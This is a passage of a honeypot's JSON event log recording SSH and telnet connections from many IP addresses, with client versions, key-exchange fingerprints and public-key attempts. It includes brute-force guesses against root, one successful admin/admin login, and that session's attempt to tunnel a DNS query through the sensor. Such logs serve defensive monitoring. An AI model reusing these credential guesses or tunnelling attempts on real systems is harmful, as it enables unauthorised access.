f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:50.531628Z","src_ip":"184.94.212.80","session":"e444082bd458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:50.817732Z","src_ip":"184.94.212.80","session":"e444082bd458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:51.883883Z","src_ip":"184.94.212.80","session":"e444082bd458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39258,"dst_ip":"10.17.0.5","dst_port":22,"session":"59791cfe93eb","protocol":"ssh","message":"New connection: 103.27.238.116:39258 (10.17.0.5:22) [session: 59791cfe93eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:56.429195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:56.433740Z","src_ip":"103.27.238.116","session":"59791cfe93eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:56.678002Z","src_ip":"101.126.22.12","session":"ce07cfed956c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:56.713459Z","src_ip":"103.27.238.116","session":"59791cfe93eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dzxtckfd","message":"login attempt [root/dzxtckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:57.553163Z","src_ip":"103.27.238.116","session":"59791cfe93eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":59842,"dst_ip":"10.17.0.5","dst_port":22,"session":"83003d1fc85e","protocol":"ssh","message":"New connection: 175.110.115.68:59842 (10.17.0.5:22) [session: 83003d1fc85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.114864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.122663Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.211146Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:38:b6:d6:e4:cd:ce:53:49:3d:af:31:2c:74:ca:0a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICwdI31XNyPTw9tWcqrzUREhDxB48FvwDwasnXwR1JVs","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3c:38:b6:d6:e4:cd:ce:53:49:3d:af:31:2c:74:ca:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.632598Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:38:b6:d6:e4:cd:ce:53:49:3d:af:31:2c:74:ca:0a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICwdI31XNyPTw9tWcqrzUREhDxB48FvwDwasnXwR1JVs","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.635720Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:42:b3:00:17:43:47:71:70:68:fc:81:08:60:6c:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrRm0NkIPOMAG3VLuKCElapxZg9eSUvHC6sy4iiB8Y6EhpLBSfe+znaz412jYrt+tEkNyYVoKBSQBCE9U8aEHho4v+Y++outC9/rhedXUWSWw4MW9BAWvSGXmXMQ8RmyER3dFLNYPVfZ2u9IaeK/GhwekjNklLGWaRT7y2579rXcSSqJJN+DmGBO/jsx9HEAmTzxlZCwZucNQhQy/0zfCbOy/mZsarVBsm9l45wdIy2SIegW9SHDXEdA3Mcj21XsF4Xo3DHFoerfDG3R4me2HBL4HpsBMlAb08s8S9G/6WRaFqWDGbXyfbzsjCg6BUAr4EILwW4STePSXRl6VK2vD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:42:b3:00:17:43:47:71:70:68:fc:81:08:60:6c:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.723445Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:42:b3:00:17:43:47:71:70:68:fc:81:08:60:6c:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrRm0NkIPOMAG3VLuKCElapxZg9eSUvHC6sy4iiB8Y6EhpLBSfe+znaz412jYrt+tEkNyYVoKBSQBCE9U8aEHho4v+Y++outC9/rhedXUWSWw4MW9BAWvSGXmXMQ8RmyER3dFLNYPVfZ2u9IaeK/GhwekjNklLGWaRT7y2579rXcSSqJJN+DmGBO/jsx9HEAmTzxlZCwZucNQhQy/0zfCbOy/mZsarVBsm9l45wdIy2SIegW9SHDXEdA3Mcj21XsF4Xo3DHFoerfDG3R4me2HBL4HpsBMlAb08s8S9G/6WRaFqWDGbXyfbzsjCg6BUAr4EILwW4STePSXRl6VK2vD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.726650Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:fd:dc:44:59:26:8e:7a:4a:0a:c4:50:09:ca:d2:b1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ8BwSAJgKkOGkKbktEXj4qoWOWy+Bl6cAveY3pSK7UiQjOjtyFnmWsRus3/tJmrjiRng6mfCKeJ0AAL/zUhwgo9gKzthV2jngFA9+PU29vxwKq8ePmAOVUzLVU0mMzpNlB7VHuD3sslEEB+CGopoVkQvx8PjlhLaIXZ1Uowd8shAAAAFQCnVtQ43J1MNvkIFgScaz3AD41hCQAAAIAKV1l/iwheSvlxkvkP3fmVwDJ9P0TYQbDQA95tqfsquVHhAJv+948eCLv9fsNrfhKCESUsOlvp1yNiB1Vl10DtWWf0h5S2uxyiQ4tAL3tAcFKVaYJx/Hmvg4yxKhPyN8B968oyoowjqbvx32xQ+vLwSKX3LqWMJMX9B5+bl43szAAAAIEAgny52DF9jHZ6MQitAhu5bWNxZsXK3ueGJ4SjK4jz8GuYl0VfSSG0s68ZtYayko1ZIlPpU1Yv9jd+YUymIgzd/tjd12MRVxkpbgEfxuI/dGrZn5U3INXNAjMDglfd30uytwxZhq2e5s8o5pFuyZO+7I7fYmznGva2exYuQCXYiF8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 57:fd:dc:44:59:26:8e:7a:4a:0a:c4:50:09:ca:d2:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.814253Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:fd:dc:44:59:26:8e:7a:4a:0a:c4:50:09:ca:d2:b1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ8BwSAJgKkOGkKbktEXj4qoWOWy+Bl6cAveY3pSK7UiQjOjtyFnmWsRus3/tJmrjiRng6mfCKeJ0AAL/zUhwgo9gKzthV2jngFA9+PU29vxwKq8ePmAOVUzLVU0mMzpNlB7VHuD3sslEEB+CGopoVkQvx8PjlhLaIXZ1Uowd8shAAAAFQCnVtQ43J1MNvkIFgScaz3AD41hCQAAAIAKV1l/iwheSvlxkvkP3fmVwDJ9P0TYQbDQA95tqfsquVHhAJv+948eCLv9fsNrfhKCESUsOlvp1yNiB1Vl10DtWWf0h5S2uxyiQ4tAL3tAcFKVaYJx/Hmvg4yxKhPyN8B968oyoowjqbvx32xQ+vLwSKX3LqWMJMX9B5+bl43szAAAAIEAgny52DF9jHZ6MQitAhu5bWNxZsXK3ueGJ4SjK4jz8GuYl0VfSSG0s68ZtYayko1ZIlPpU1Yv9jd+YUymIgzd/tjd12MRVxkpbgEfxuI/dGrZn5U3INXNAjMDglfd30uytwxZhq2e5s8o5pFuyZO+7I7fYmznGva2exYuQCXYiF8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.816745Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.835938Z","src_ip":"103.27.238.116","session":"59791cfe93eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:eb:33:d3:49:ed:1f:95:94:88:d6:8d:a1:bc:bb:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwcmEVFlg2ja9Z6tGsUMAYl1avTvEMLeDNITuItdzbdV+UtV3DIemTRVTlOiP8MpgC8YMX4tPn10xWhrn6InfVaSMkDJAlz9R/QL7WGMtOGHB/nA5+xge0rGzJGiiSYI4LO8JanyeNQvyOZl1v6eFGnK3Xwlqs+jifythx3UU3t2pfB+yrcJeMID9Wo0nY/g6pe3I2RwnUQ++cRwklaUFBuGTJRxOM33gq0U5E2onGbZiY2BE/sE9WPHwvhTT6R0jZtyNwUD202vWJjBaLKmlQuiKONAamPhVbUYYiTq6YI5fqVPGq2hneqmv+1ezhnJApVWcZme55zrpOJjNmc6LSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:eb:33:d3:49:ed:1f:95:94:88:d6:8d:a1:bc:bb:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.910033Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:eb:33:d3:49:ed:1f:95:94:88:d6:8d:a1:bc:bb:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwcmEVFlg2ja9Z6tGsUMAYl1avTvEMLeDNITuItdzbdV+UtV3DIemTRVTlOiP8MpgC8YMX4tPn10xWhrn6InfVaSMkDJAlz9R/QL7WGMtOGHB/nA5+xge0rGzJGiiSYI4LO8JanyeNQvyOZl1v6eFGnK3Xwlqs+jifythx3UU3t2pfB+yrcJeMID9Wo0nY/g6pe3I2RwnUQ++cRwklaUFBuGTJRxOM33gq0U5E2onGbZiY2BE/sE9WPHwvhTT6R0jZtyNwUD202vWJjBaLKmlQuiKONAamPhVbUYYiTq6YI5fqVPGq2hneqmv+1ezhnJApVWcZme55zrpOJjNmc6LSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:58.914439Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:d3:be:95:1c:fb:dd:ae:56:49:31:53:85:11:64:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3pyRWr4gWK66rb3d5ID3+X/vjco7Bfs+5r150g+Kjxyr+1JfIVRr3CT33vATiz46LcBng2WGRPkHAnqbGE/6v8BI8ZKEboiIasAA6HJLXE2PTU9ihA2AokihkYjBbFH9WCvGVHKOUr2ODLfLAmCJyxaNNsNLvFSfS79nmKhVntKLIweszQrKHGZdwewgq+Q4N/VwaFf3R1v8/yVUdR35CzcxtpiZE0qF30ipE7htc9TBNMqQWYSsT2lNeoe4J8J3I7fiKTKCADVxaWCY2OD4UizPKd35Fdxi19v94zapm/wZj0GfXedR9p5KbkfmRF7pbQB8bWOq5ROJXGPCd4PGVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:d3:be:95:1c:fb:dd:ae:56:49:31:53:85:11:64:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.003974Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:d3:be:95:1c:fb:dd:ae:56:49:31:53:85:11:64:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3pyRWr4gWK66rb3d5ID3+X/vjco7Bfs+5r150g+Kjxyr+1JfIVRr3CT33vATiz46LcBng2WGRPkHAnqbGE/6v8BI8ZKEboiIasAA6HJLXE2PTU9ihA2AokihkYjBbFH9WCvGVHKOUr2ODLfLAmCJyxaNNsNLvFSfS79nmKhVntKLIweszQrKHGZdwewgq+Q4N/VwaFf3R1v8/yVUdR35CzcxtpiZE0qF30ipE7htc9TBNMqQWYSsT2lNeoe4J8J3I7fiKTKCADVxaWCY2OD4UizPKd35Fdxi19v94zapm/wZj0GfXedR9p5KbkfmRF7pbQB8bWOq5ROJXGPCd4PGVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.007419Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.096139Z","src_ip":"175.110.115.68","session":"83003d1fc85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38290,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7a90b1262ed","protocol":"ssh","message":"New connection: 193.37.70.224:38290 (10.17.0.5:22) [session: b7a90b1262ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.559594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.563915Z","src_ip":"193.37.70.224","session":"b7a90b1262ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.652296Z","src_ip":"193.37.70.224","session":"b7a90b1262ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12321","message":"login attempt [root/a12321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:59.919567Z","src_ip":"193.37.70.224","session":"b7a90b1262ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:01.010945Z","src_ip":"193.37.70.224","session":"b7a90b1262ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48614,"dst_ip":"10.17.0.5","dst_port":22,"session":"723a3514066c","protocol":"ssh","message":"New connection: 87.251.64.176:48614 (10.17.0.5:22) [session: 723a3514066c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:04.529430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:04.533019Z","src_ip":"87.251.64.176","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:04.632035Z","src_ip":"87.251.64.176","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:04.921414Z","src_ip":"87.251.64.176","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:05.020136Z","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:05.119581Z","src_ip":"87.251.64.176","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:05.219024Z","src_ip":"87.251.64.176","session":"723a3514066c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"4477549b2e92","protocol":"telnet","message":"New connection: 192.119.13.58:37000 (10.17.0.5:23) [session: 4477549b2e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:14.539436Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":55526,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e5237f81eb","protocol":"ssh","message":"New connection: 43.134.27.11:55526 (159.203.135.109:22) [session: e9e5237f81eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:15.405377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:43:15.410607Z","src_ip":"43.134.27.11","session":"e9e5237f81eb","protocol":"ssh"}
